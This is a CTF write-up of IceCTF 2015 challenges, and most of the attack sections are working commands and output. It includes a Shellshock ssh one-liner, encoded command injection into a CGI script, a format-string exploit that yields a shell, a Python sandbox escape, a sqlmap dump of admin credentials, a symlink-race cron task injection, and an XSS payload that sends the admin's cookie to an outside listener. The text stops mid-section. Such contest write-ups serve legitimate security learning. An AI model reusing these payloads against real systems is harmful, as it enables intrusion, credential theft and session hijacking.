ICEC.TF writeup
- ROT13
- Cryptic Crypto
- Statistics
- Ryan Gooseling
- SHARKNADO!
- Farm Animals
- RSA
- Shocked!
- Hackers in disguise
- Fermat
- Barista
- PyShell
- Entropy
- Authorize
- Elevate
- Supernote
- Wiki & The Furious
- What
ROT13
$ python
Python 2.7.6 (default, Sep 9 2014, 15:04:36)
>>> import codecs
>>> codecs.encode('V srry yvxr guvf vf n tbbq cynpr gb fgber nyy zl frpher syntf. Vasnpg, urer\'f gur synt: ebg_13_vfag_frpher', 'rot13')
"I feel like this is a good place to store all my secure flags. Infact, here's the flag: rot_13_isnt_secure"
Cryptic Crypto
For substitution cipher: http://quipqiup.com/index.php
Statistics
#!/usr/bin/env python
from pwn import *
from numpy import mean
import re
def process(command, nums):
try:
converted = map(int, re.split(r'\s+', nums.rstrip()))
except:
pass
if 'maximum' in command:
return str(max(converted))
if 'minimum' in command:
return str(min(converted))
if 'sum' in command:
return str(sum(converted))
if 'average' in command:
return str(mean(converted))
r = remote('vuln2015.icec.tf', 9000)
t = Timeout()
t.timeout = 0.05
while True:
nums = r.recvline()
print nums
sleep(0.05)
command = r.recv()
sleep(0.05)
print command
answer = process(command, nums)
r.sendline(answer)
Ryan Gooseling
binwalk + scalpel (uncommenting jpg)
SHARKNADO!
root@kali32:~# tcpick -C -yU -r sharknado.pcap | grep -i admin
username=admin&password=IAmALittlePasswordShortAndStout
Farm Animals
https://en.wikipedia.org/wiki/Pigpen_cipher
RSA
N = 0xc8283502d6ed4c723078d5ddd299c67deaef48ca2d8cdce64f99fe50ee5705705ab25c220ba6a1521c068016aab51f5139962bf8362f8b5ea157fc3ecefebe6dec216ba655c3f2b1538907182760ffde203bbed8e0a41bc833e94369e631b7a559f71e7ed773f029b82f46fbb0842f898048e45e15330b6671a8dbda59b025eb
e = 65537
p = 0xf51d59442bd9c0e3d7e51e54ae8c46a3e1bce33a1b38b4fbea26803de37475b0d1702431966d058327a629ce3af3321b06e6be4a9c9671e02f488405c9e91c71
q = 0xd10bbefe61fe293d45a0bd3266429c461977237838677bee06fe3ed051eb0b36828e627126239121913d4324029fb601b456c33863c9fa7bfa0ce85ff427861b
d = 0xd490debb8545be4a06f04d30a6d868d4910c4e6168be905a876f23870f979b4f17031495938a0309107a56cdbbbd5ee5042357cee2bcdb6644330cd02744a336779ca1f2f5fed59951c34c216577870841cb50e6a01be8f2e23591db4e8df1551d4245049c0996a887f82636a2bb5aff48c42ed83be4f2c218cd83307395941
c = 0x1dca210d36fb700e0fe41e951216b89c4cf10a4d4feeeac92722184a8d1e1306da36002bef27e9f0ec3b3256e821cfd0f7220930ac3d71a9fb981e9ad5ef3713b57ec78bfd4a96d53c7b0ad9e3698deef5ba10486da5936b60768c7275bb57ee67bc832ad954ee0c38124bc9518bf84d2fe76b16036d51071d307d6d23fe19ad
decrypted = Mod(c, N) ** d
# encrypt: c = pow(m, e, N)
# decrypt: m = pow(c, d, N)
flag = hex(Integer(decrypted)).decode('hex')
print(flag)
$ ./sage /tmp/rsa1.sage
flag_dont_you_just_love_rsa
Shocked!
$ ssh -p 2022 ctf@vuln2015.icec.tf '() { :;}; cat flag.txt'
ctf@vuln2015.icec.tf's password:
The flag is: shocking_the_shellz_is_fun
Hackers in disguise
I have found the solution for the almost same challenge, more information abouth the vulnerability here.
root@kali32:~# vector=$(ruby -e 'print ";ls -la|".split(//).map{|x| "%" + x.ord.to_s(16)}.join')
root@kali32:~# curl "http://disguise.icec.tf/disguise.cgi?Hacker=${vector}&Mustache=3.bmp&Shades=3.bmp"
@MPAp) xxx007 ECRT_KY_19DF8876272F766DE58C5EA5
rwx-xrx 2100 101 096Aug 6 2:4 cs
-rxr-r-x1 101 001 47 Ag 1249 isgisecgi-rwr---- 101 101 514 Au 614:2 dsguse.tmldrwr-x-x 101 101 409 Au 612:9 fnt
rw---r- 1100 101 5738Aug 6 2:4 h1bmp-rwr---- 101 101 473 Au 612:9 h.bm
-r-r-r--1 101 0015478 Ag 1249 3.bp
-wxrxr- 1 001100 44 ug 6 1:29indx.ci
-w-r-r- 1 001100 201 ug 6 1:13indx.hml
rwx-xrx 2100 101 096Aug 6 5:1 js-rwr---- 101 101 473 Au 612:9 m.bm
-r-r-r--1 101 0015478 Ag 1249 2.bp
-w-r-r- 1 001100 5438 ug 6 1:49m3.mp
rw---r- 1100 101 5738Aug 6 2:4 s1bmp-rwr---- 101 101 473 Au 612:9 s.bm
-r-r-r--1 101 0015478 Ag 1249 3.bp
-w-r-r- 1 001100 5438 ug 6 1:49s4.mp
root@kali32:~# curl "http://disguise.icec.tf/disguise.cgi?Hacker=${vector}&Mustache=${vector}&Shades=${vector}"
total 604
drwxr-xr-x 5 1001 1001 4096 Aug 6 23:21 .
drwxr-xr-x 6 1001 1001 4096 Aug 6 13:28 ..
-rw-r--r-- 1 1001 1001 38 Aug 6 14:07 SECRET_KEY_159DF48875627E2F7F66DAE584C5E3A5
drwxr-xr-x 2 1001 1001 4096 Aug 6 12:49 css
-rwxr-xr-x 1 1001 1001 437 Aug 6 12:49 disguise.cgi
-rw-r--r-- 1 1001 1001 5140 Aug 6 14:12 disguise.html
drwxr-xr-x 3 1001 1001 4096 Aug 6 12:49 font
-rw-r--r-- 1 1001 1001 54738 Aug 6 12:49 h1.bmp
-rw-r--r-- 1 1001 1001 54738 Aug 6 12:49 h2.bmp
-rw-r--r-- 1 1001 1001 54738 Aug 6 12:49 h3.bmp
-rwxr-xr-x 1 1001 1001 144 Aug 6 13:29 index.cgi
-rw-r--r-- 1 1001 1001 2801 Aug 6 14:13 index.html
drwxr-xr-x 2 1001 1001 4096 Aug 6 15:16 js
-rw-r--r-- 1 1001 1001 54738 Aug 6 12:49 m1.bmp
-rw-r--r-- 1 1001 1001 54738 Aug 6 12:49 m2.bmp
-rw-r--r-- 1 1001 1001 54738 Aug 6 12:49 m3.bmp
-rw-r--r-- 1 1001 1001 54738 Aug 6 12:49 s1.bmp
-rw-r--r-- 1 1001 1001 54738 Aug 6 12:49 s2.bmp
-rw-r--r-- 1 1001 1001 54738 Aug 6 12:49 s3.bmp
-rw-r--r-- 1 1001 1001 54738 Aug 6 12:49 s4.bmp
root@kali32:~# vector=$(ruby -e 'print ";cat SECRET_KEY_159DF48875627E2F7F66DAE584C5E3A5|".split(//).map{|x| "%" + x.ord.to_s(16)}.join')
root@kali32:~# curl "http://disguise.icec.tf/disguise.cgi?Hacker=${vector}&Mustache=${vector}&Shades=${vector}"
flag_why_did_we_stop_using_perl_again
Fermat
[ctf-7119@icectf-shell /home/fermat]$ ./fermat "$(python -c 'print "\x2c\xa0\x04\x08 %135$1326x%135$n"')"
, sh-4.2$ id
uid=1148(ctf-7119) gid=1021(fermat) groups=1002(ctf) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
sh-4.2$ cat flag.txt
flag_fermats_last_exploit
Barista
Similarly like in Hack.lu CTF 2014: Objection, we overwroted the getter function for is_admin:
Vulnerable line:
# Check that the coffee exists
if (coffee[name]? and
name not in ["rebrew", "cleanup"] and
typeof coffee[name] is "function")
http://coffee.icec.tf/__defineGetter__?args=is_admin
...
undefined + flag_i_dont_even_like_coffee_but_i_love_coffeescript
PyShell
Similar as here: https://hexplo.it/escaping-the-csawctf-python-sandbox/
$ nc vuln2015.icec.tf 8000
Welcome to my Python sandbox! Enter commands below! Please don't mess up my server though :/
>>> [].__class__
>>> [].__class__.__base__
>>> print([].__class__.__base__.__subclasses__())
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>]
>>>
>>> print([].__class__.__base__.__subclasses__().index(file))
Traceback (most recent call last):
File "./problem.py", line 37, in <module>
exec data
File "<string>", line 1, in <module>
$ nc vuln2015.icec.tf 8000
Welcome to my Python sandbox! Enter commands below! Please don't mess up my server though :/
>>> f = [].__class__.__base__.__subclasses__()[40]
>>> f('./flag.txt').read()
>>> print(f('./flag.txt').read())
The flag is: not_your_average_python
Entropy
We have the python daemon, that uses only a few primes (they are stored in text file and keys are generated almost instantly).
In the challenge information is provided public key (N, e = 257) and encrypted data c, that we want to decrypt:
27134539740327372277016096853435890120677470119612424124869327819124029912990004448750434621403418542927781194142877244503562989100969794546726189679434973051199593686324469650695332464843866317242833309989642047675838763945117051708685755516681732600344477784607819725824461400081264484810830802070160626494750360668977494105105567529042035493471083490134591723283745502956169145544321430921932449188900918387414900628355258180161727963712905333194811283381016749488185293777854150520335564364850062292655420041681761888247884838176822010929853437116012249823316297480912216876461230774949536318942112650569572741229
21833706562424363526758144595528139378681868374355612924041399984966569709971402846162543351650992393259625378308766376918010037809411868937951264540233547911616955412668210947953666054174014762004709853178682474885483298510115565509957726137783160293746001217719965940995344574478555209182195121905187551848171141764244076996783305517744086819333014890572868236912842045064036434736842358851218773925473983781900791489911542650152543840593725659311233554355918780080457663947286285012785980160999737442977651996204521503213470778632213967510707131516893141063362768682472114553632059355826524352103299651991899005722
After fetching a few public keys, using information from the presentation and source, we want to find the common primes.
def product(X):
if len(X) == 0: return 1
while len(X) > 1:
X = [prod(X[i*2:(i+1)*2]) for i in range((len(X)+1)/2)]
return X[0]
def producttree(X):
result = [X]
while len(X) > 1:
X = [prod(X[i*2:(i+1)*2]) for i in range((len(X)+1)/2)]
result.append(X)
return result
def remaindersusingproducttree(n,T):
result = [n]
for t in reversed(T):
result = [result[floor(i/2)] % t[i] for i in range(len(t))]
return result
def remainders(n,X):
return remaindersusingproducttree(n,producttree(X))
def batchgcd_simple(X):
R = remainders(product(X),[n^2 for n in X])
return [gcd(r/n,n) for r,n in zip(R,X)]
def batchgcd_faster(X):
prods = producttree(X)
R = prods.pop()
while prods:
X = prods.pop()
R = [R[floor(i/2)] % X[i]**2 for i in range(len(X))]
return [gcd(r/n,n) for r,n in zip(R,X)]
# first line is our public key
print batchgcd_simple(
[0xd6f26be4d627833b8eb7886d4234a99a391f2b14dfed53decda8a238043c8590ebd2561bebf508626fea71e1c5b912a3e6e1b1a1ad378ed778edd4c6d1269b51d263525b0850e95c5dc355846705f231c2a38744b6fea488df00cc23d9977cb6bfbde80b43314c09d3d65ffa48f566acce4bfc4c9f9d1acb4601af41f15957add7601d4828e2f30be1b2f98d4cba2f81e25738d5ba39e842372b301d1959ed8f704e457bc0f88882c8a3a9817a60d0b5960fe5f6ae17b1b2794ca51f0330c531fc5c19d8330341c7228cf794c0769fc91030f9b33855421ce3e78291d740754c91c2ecf591d0649875b1d6d18b03558b693d1742aadb41b1c949ba4fbbd8f06dL,
0xd8b23baf97e9cf1faa4c6918b84e51b53e5ce25d93a39cbc4ac033bfb2a91110ee8ea872f3151f936f4b42c0b16065dc39d813a53914c5fccf86c3385e215fea90c7d2df09f62527b3a723baf0ef2937056cd8b02cd519b6da339a9d4744a6b5112aa5b49238bd52c56300dca61cfe3bc6401e2b6cbbce73dfab863ce847180c9a57a5ea80c40b0d164ba99ce96409b816b01574ecf938d3f2fe9f164ad6182c7e46a85127dd1faa7e35588fabfd155cf432514d6a3a5fc59ab55dd9a6923572f6de43745254ce8829f2c3f23198b364502d6173efc7fa714c39551e5551a2e79624f26da82e4a41ab2ea1607098f93ed62743e392d23694ae16ba5fec8aacf5, \
0xe5ea8b1bcf376af0c1917be870fa147eab872224c21c9cfe87498ee7fd311c72fca829cf10b418e1ff3820237796010131e39982a79f947c4dfd923b2c999acaa39525e712b92b10563a558103bd9836d811cb7c163705ce87b0c05d3805479868626f2d1723d85a52fb06de7c9a073e697fd05137fa0ed135fba7bd35bc5d12b2415ffbd7505966dd05d1e39202275be3125fe5a5cdb192e9d616ea2009df88b632360aeb8a9a460b5dbbc4e189857d39aace108e6bd1e77f2113523544a35db6b71ba6506f585d7deed09218f7f11ec75007bbbfcafc0ac0853aeae5eb1db2e092eba82827ff38760983cf6d5e20531222a3e8826b8f751f50fb78e34437bd, \
0xc439ed4afac3a78066a3a52202541480b3a400b4fb5710d0032cb23cf5570ef858735d5b6e41393f3abadee2241614a666da9ff98585f32deb82e64adf94da4627f515d7e2001b78157473266bada53f069d8930761a9b56b74153f43607b38f75642a3cdcdd8c299bae8275acbf8041edab88153a7c917b80b57d722882afe3988d93f9e479352a0c87fa04f49175446f4360ed011a99172c4038629f5030a2f6a2801fe338ee323fd760dfda8a4b245126c8ce62c1dc2bc1a47ba14d95f99d34ae566c5b1779134429c083913405040a58593cfb08b4f5a19f6e4c471a1a272321423784e8fe7611a18a0369b14dbd532195e1e81e74c739fb5eb291197b21,
0x9d53d7b6c1a3ef1a62a33100de2e96ae8d80642b35cb525f4b7a1d0f7336037bb2c1cc73cbfe4dbc4fe7aa61c9afc78b8f5f78d2a851a47a029b2c74117c2022c875093a8243f500ed5c096f90022b6030e0a1ecbef352504e0b447df09eeebb8c26676b8c4615b8f05b96c884fce4e9e8149e520e65bce6e5e0f8a60c2fa436003cc53fd768ae8b67c1b753569b7c8888aff4a365c027dab77c699d687aea9e606b82238e760f409b2bae7f857c6d52b61e11e964f4cf2de08841c3e13cfa68dc3fd9e60cd020cc078517acd95c51cdc39fdeca354a051cdac8e9e81917808de76830e60d6be18f014221ba5b61e701ea7e8f3240c2182f14bbd89afe94f2dd,
0xd5b9121c986c03839a6f8f5633e8be53539c7c4b4ea227353dd347b1846d4210300a0646ec6644b3e0926c0e12b9db551685fea310dfd124778893f3a919a3e9a6957e797e8d417c749d295817f99f76ea7e3ac829ac7497fb66673f5e5de453354f2b252769ea71305b6332ba502538ca6ef9023166da519f826a61978f89cadaa3c7b3aba8acc430d7918ea84158eff4c04bdd6a09bf1f358c6e42d101e6cdb205a70ad38f546b7efec13c4b1d7c28c89934ab4ee139117a2c804ac16ad79c435e290da270fb9e2b66e1b7a28f3ff18e0295138946291f81c9088aec97c2991ddd1a641b98685e8e4aecf8d3a41c766f674d8fb44d0fc4fb0770be3c4f7bd1,
0x99f5b356fe0ee4d5f2547c07e7d37eaf451ff54663a4623527ffe9cced2924bc3da53384dd609fd4c80cb76893ef1ffc7b45c1226449e665236d9e9c83ca7adea9c4b0331217af4c17ec4152b288a83dbc4b9c60f22d7a2f49f901c5e09f99fa834923505954ef9fc48b11a97a58a0fce38f9d980a017b5aa005d81c85be0fea138476540812a602dc5e5ca4dd7ef411a185dad805f43ae3431b627c88b8f1d8e59c363a70c17c3b1ea9e25a25a1b8e935b1c7c5356103a309db094b5454f281f2cce84a0e981a5ea2e5e34e7eac3fcaeb5eec48c5583bf35ef1e98967111472b8055847c5cc498d3807cb97ae0234e25dc016e47ae9b765b9d0db9998882cb9,
0xe02e1fb7464295424b8781f2cd600ddbbd57c785a45c9ca29350a3016afd5f7976f5bd475b101cd1072e21dd5c864a9f9419a2a0ac3b68f4f0649d28771597ae5eb906600636f4cc9ca0357bb7be85bc9593ad5814a4ed2964367ad9a9f90974b6172973f6c27d6d7e9b14f880ca12eb25ecab5d60bc4b0b2e4bbfa3ad6214b8b1d0fa250dc8e20d433b20a8d9e90cb3532e50f2ef0c8a693e9e9443d3cd4b83308144c5bd448865649e74ae37e5fcefaf0ee57096959a6fa4fcbe65f4bec364a7defb5329a8da93977fa121c51b13a3772e79b8dba393a4156611fcd1795e2fceb3d0e6b5facb7b7341b2da63caa167307060797b274e8812499fb9c8160375
])
$ ./sage /tmp/entropy.sage
[174530909087014716115113368365080232735669872304657503181040399565409510763517957093840008899869814249462343244523157586287119841547254547568826577936318168641266138819124651861211744771083886615905360155208773780746504047920299202268833418863547500887620241823421979548067336758574000690763023308648146612727, 174530909087014716115113368365080232735669872304657503181040399565409510763517957093840008899869814249462343244523157586287119841547254547568826577936318168641266138819124651861211744771083886615905360155208773780746504047920299202268833418863547500887620241823421979548067336758574000690763023308648146612727, 170316696567110693907901665907921187512526625561793633660441726765261555099366043994312802446177850632556845607014968778372160037033301431637986429627378357802441334583859591255752767815253729641791129186620238677327493472217907151892848591863869105693075425376910389368764492968308424836810176627203201410299, 170316696567110693907901665907921187512526625561793633660441726765261555099366043994312802446177850632556845607014968778372160037033301431637986429627378357802441334583859591255752767815253729641791129186620238677327493472217907151892848591863869105693075425376910389368764492968308424836810176627203201410299, 1, 1, 1, 1]
Because the 174530909087014... value is divisible by our public key, we were able to factor it and we got q = N / p.
N = 27134539740327372277016096853435890120677470119612424124869327819124029912990004448750434621403418542927781194142877244503562989100969794546726189679434973051199593686324469650695332464843866317242833309989642047675838763945117051708685755516681732600344477784607819725824461400081264484810830802070160626494750360668977494105105567529042035493471083490134591723283745502956169145544321430921932449188900918387414900628355258180161727963712905333194811283381016749488185293777854150520335564364850062292655420041681761888247884838176822010929853437116012249823316297480912216876461230774949536318942112650569572741229
c = 21833706562424363526758144595528139378681868374355612924041399984966569709971402846162543351650992393259625378308766376918010037809411868937951264540233547911616955412668210947953666054174014762004709853178682474885483298510115565509957726137783160293746001217719965940995344574478555209182195121905187551848171141764244076996783305517744086819333014890572868236912842045064036434736842358851218773925473983781900791489911542650152543840593725659311233554355918780080457663947286285012785980160999737442977651996204521503213470778632213967510707131516893141063362768682472114553632059355826524352103299651991899005722
p = 174530909087014716115113368365080232735669872304657503181040399565409510763517957093840008899869814249462343244523157586287119841547254547568826577936318168641266138819124651861211744771083886615905360155208773780746504047920299202268833418863547500887620241823421979548067336758574000690763023308648146612727
q = N / p
e = 257
phi = (p - 1) * (q - 1)
bezout = xgcd(e, phi);
d = Integer(mod(bezout[1], phi))
# mod(d * e, phi) == 1
decrypted = Mod(c, N) ** d
flag = hex(Integer(decrypted)).decode('hex')
print(flag)
./sage /tmp/solution.sage
flag_keep_the_prime_count_high
Authorize
Time-delay injection in register field, using POST method:
<?php
include "config.php";
$con = mysqli_connect($MYSQL_HOST, "authorize", "authorize", "authorize");
$username = $_POST["register"];
$query = "SELECT * FROM users WHERE username='$username'";
$result = mysqli_query($con, $query);
if (mysqli_num_rows($result) !== 0) {
die("Someone has already registered " . htmlspecialchars($username));
}
die("Registration has been disabled.");
?>
To solve it quickly, we used sqlmap:
# sqlmap -u "http://web2015.icec.tf/authorize/" --forms -D authorize -T users --dump
...
Database: authorize
Table: users
[1 entry]
+----+----------+-----------------------------+
| id | username | password |
+----+----------+-----------------------------+
| 1 | admin | TogetherW3CanChangeTheWr0ld |
+----+----------+-----------------------------+
Logged in!
Your flag is: flag_binary_search_those_credentials
Elevate
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
int read_password(FILE *file, char *password, size_t n) {
fgets(password, n, file);
password[strcspn(password, "\n")] = '\0';
}
void elevated_shell(){
gid_t gid = getegid();
setresgid(gid,gid,gid);
fflush(stdout);
system("/bin/bash");
}
void regular_shell(){
gid_t gid = getgid();
setresgid(gid,gid,gid);
fflush(stdout);
system("/bin/bash");
}
int main(int argc, char **argv){
char flag[100];
char password[100];
FILE *file;
printf("Hi! Welcome to my secure shell software!\n");
// Read in the root password
file = fopen("flag.txt", "r");
if(file == NULL) {
printf("FAIL: Failed to open the password file\n");
return -3;
} else {
read_password(file, flag, sizeof(flag));
}
// Read in the user's password
printf("Please enter the password: ");
fflush(stdout);
read_password(stdin, password, sizeof(password));
if(strcmp(flag,password) == 0) {
printf("Correct! Here's an elevated shell :)\n");
elevated_shell();
} else {
printf("Incorrect! No elevated shell for you >:)\n");
regular_shell();
}
}
Obviously, the flag.txt file is read, but from current working directory.
Solution:
[ctf-7119@icectf-shell /home/elevate]$ cd /tmp
[ctf-7119@icectf-shell /tmp]$ mkdir .sine
[ctf-7119@icectf-shell /tmp]$ cd .sine
[ctf-7119@icectf-shell .sine]$ echo 1337 > flag.txt
[ctf-7119@icectf-shell .sine]$ /home/elevate/elevate
Hi! Welcome to my secure shell software!
Please enter the password: 1337
Correct! Here's an elevated shell :)
[ctf-7119@icectf-shell .sine]$ cat /home/elevate/flag.txt
flag_c21f22c6ff839828124be4f38677f7cf
Supernote
Exploitable code:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <pwd.h>
#include <curl/curl.h>
char *gethome() {
return getpwuid(getuid())->pw_dir;
}
char *get_temp(){
char *fname = tempnam(gethome(), "ctf1_");
struct stat buf;
if(stat(fname, &buf) >= 0) {
fprintf(stderr, "Temporary file exists!\n");
exit(1);
}
fprintf(stderr, "Temporary file is %s\n", fname);
return fname;
}
void upload_note(char *email, char *name, char *msg) {
CURL *curl;
CURLcode res;
char buf[1024];
snprintf(buf, sizeof(buf), "email=%s&name=%s&msg=%s", email, name, msg);
curl_global_init(CURL_GLOBAL_ALL);
curl = curl_easy_init();
if(curl) {
curl_easy_setopt(curl, CURLOPT_URL, "http://web2015.icec.tf/supernote/index.php");
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, buf);
res = curl_easy_perform(curl);
if(res != CURLE_OK) {
fprintf(stderr, "curl_easy_perform() failed: %s\n", curl_easy_strerror(res));
exit(1);
}
curl_easy_cleanup(curl);
}
curl_global_cleanup();
}
void write_note(char *fname, char *str) {
FILE *fd = fopen(fname, "w");
fputs(str, fd);
fclose(fd);
// Test version, keep things clean
unlink(fname);
}
int main(int argc, char **argv){
char email[80];
char name[80];
char contents[500]; // That's a bit much, don't you think?
char *ptr;
char *tmpfile = get_temp();
printf("Welcome to SuperNote v1.1.1.1.1.1.1.1.1.1. We're still in beta, so please excuse some bugs.\n");
printf("Please enter your email address: ");
fgets(email, sizeof(email), stdin);
email[sizeof(email)-1] = '\0';
email[strlen(email)-1] = '\0';
printf("Please enter your name: ");
fgets(name, sizeof(name), stdin);
name[sizeof(name)-1] = '\0';
name[strlen(email)-1] = '\0';
printf("Enter the note that you would like to save: ");
fgets(contents, sizeof(contents), stdin);
// Validate the email securely
int i=0;
ptr = strtok(email, "@");
while(ptr != NULL) {
i++;
ptr = strtok(NULL, "@");
}
if(i != 2){
fprintf(stderr, "Invalid email!\n");
exit(1337); // huehue
}
if(strcmp(name,"Josh\n") == 0) {
fprintf(stderr, "Go away Josh\n");
exit(1);
}
upload_note(email, name, contents);
write_note(tmpfile, contents);
printf("Note saved locally.\n");
return 0;
}
There is a race condition, we can create a symlink pointing to arbitrary file,
then our data is stored here, finally the symlink is removed. The cron.README
hints us to use python script for executing .task(s). Moreover cron needs
permission for writing to our directory.
[ctf-7119@icectf-shell /tmp]$ mkdir .sine
[ctf-7119@icectf-shell /tmp]$ chmod 777 .sine
[ctf-7119@icectf-shell /tmp]$ /home/supernote/supernote
Temporary file is /home_users/ctf-7119/ctf1_yc9KGB
Welcome to SuperNote v1.1.1.1.1.1.1.1.1.1. We're still in beta, so please excuse some bugs.
Please enter your email address: a@test.com
Please enter your name: ^Z
[1] + 19597 suspended /home/supernote/supernote
[ctf-7119@icectf-shell /tmp]$ ln -s /home/supernote/cron.d/1337.task /home_users/ctf-7119/ctf1_yc9KGB
[ctf-7119@icectf-shell /tmp]$ fg
[1] + 19597 continued /home/supernote/supernote
name
Enter the note that you would like to save: import shutil; import os; d='/tmp/.sine/flag.txt'; shutil.copy('/home/supernote/flag.txt', d); os.chmod(d, 0777);
Note saved.
Note saved locally.
[ctf-7119@icectf-shell /tmp]$ date
Sun Aug 16 11:38:45 UTC 2015
[ctf-7119@icectf-shell /tmp]$ date
Sun Aug 16 11:39:13 UTC 2015
[ctf-7119@icectf-shell /tmp]$ cd .sine
[ctf-7119@icectf-shell /t/.sine]$ ls
flag.txt
[ctf-7119@icectf-shell /t/.sine]$ cat flag.txt
flag_keep_your_files_close_and_your_tempfiles_closer
Because I was interested also what exactly is executing via cron, using the same technique, I did:
Enter the note that you would like to save: from os import system; system('cp -r /usr/local/etc/supernote/* /tmp/.sine/; chmod 777 -R /tmp/.sine');
Note saved.
Note saved locally.
[ctf-7119@icectf-shell /t/.sine]$ date
Sun Aug 16 11:48:59 UTC 2015
[ctf-7119@icectf-shell /t/.sine]$ cat supernote.sh
#!/bin/bash
for file in /home/supernote/cron.d/*.task; do
/usr/bin/python $file
rm -f $file
done
rm -rf /home/supernote/cron.d/*
rm -rf /home/supernote/cron.d/.* 2> /dev/null
Wiki & The Furious
DOM Based XSS challenge. The vulnerable code:
var showComment = function(){
var hash = decodeURIComponent(location.hash); // Comment ID's can be pretty wierd
var $comment = $(hash);
if($comment.length < 1)
return;
$("html,body").animate({
scrollTop: $comment.offset().top
}, 2000);
$(".comment").css("background-color", "");
$comment.css("background-color", "#eee");
}
$(document).ready(function(){
$(window).bind("hashchange",showComment);
showComment();
});
The injected javascript code could be evaluated here:
var hash = decodeURIComponent(location.hash); // Comment ID's can be pretty wierd
var $comment = $(hash);
Test URL:
http://furious-wiki.icec.tf/post/o1S9UqFJ3vFD9aVwkABIal78TMxcB2ur/title#<img src="/" onerror="alert(String.fromCharCode(39,88,83,83,39));">
We need to deliver the payload to admin:
POST /report HTTP/1.1
Host: furious-wiki.icec.tf
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:39.0) Gecko/20100101 Firefox/39.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://furious-wiki.icec.tf/post/o1S9UqFJ3vFD9aVwkABIal78TMxcB2ur/title
Cookie: PHPSESSID=s%3Ag26_c-cLthzShO_xncYWAI0qp-OtiZm4.jY5w%2F4cH7K%2B18sNhcK22aAb5%2FueHPymlOOdtyKkdhp4
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 133
user=o1S9UqFJ3vFD9aVwkABIal78TMxcB2ur&post=title&comment=title#<img+src=x+onerror=this.src='http://xxxxxxx:3337/?'%2Bdocument.cookie>
$ nc -l -p 3337
GET /?PHPSESSID=s%3A7ZeQMpUDARFuj_7Bmu2izwxQQnE7kmsz.sQblDjvm9VN7aEYtrmpYoB8N7HeAfajhPwFMI1LkrjM HTTP/1.1
Referer: http://localhost:3000/post/o1S9UqFJ3vFD9aVwkABIal78TMxcB2ur/title
User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.0.0 Safari/538.1
Accept: */*
Connection: Keep-Alive
Accept-Encoding: gzip, deflate
Accept-Language: en,*
Host: xxxxxxx:3337
After setting cookie to the value s:NO7VjJneMo5ArzEcrwTUXMIR2W9A05RU.Xg8/oyINQGJh09tP234WRlXFaE3NsBEeOHFRyN2FmCo,
we was able to read the flag: flag_so_simple_yet_so_hard .
What
Simple RE challenge. There is a binary without source code, performing a several checks:
# Number of command line arguments should be 2
=> 0x80486b2: cmp DWORD PTR [ebp+0x8],0x3
# First argument should be 'ausgeschnitzel'
=> 0x80486c5: repz cmps BYTE PTR ds:[esi],BYTE PTR es:[edi]
0x80486c7: seta dl
0x80486ca: setb al
0x80486cd: cmp dl,al
# Second argument should be 'flugelfragen'
0x80486de: repz cmps BYTE PTR ds:[esi],BYTE PTR es:[edi]
0x80486e0: seta dl
0x80486e3: setb al
=> 0x80486e6: cmp dl,al
gdb-peda$ set args ausgeschnitzel flugelfragen
# There is another check for env variable 'AUTH':
gdb-peda$ set environment AUTH = foo
=> 0x80485aa: call 0x8048440 <__isoc99_sscanf@plt>
0x80485af: cmp eax,0x2
Guessed arguments:
Guessed arguments:
arg[0]: 0xbfc62e5f --> 0x6f6f66 ('foo')
arg[1]: 0x8048814 ("%[^/]/%[^/]/")
arg[2]: 0xbfc620b0 --> 0xb77d1b58 --> 0x8048301 ("GLIBC_2.0")
arg[3]: 0xbfc62030 --> 0x8048200 --> 0x39 ('9')
# buffer overflow:
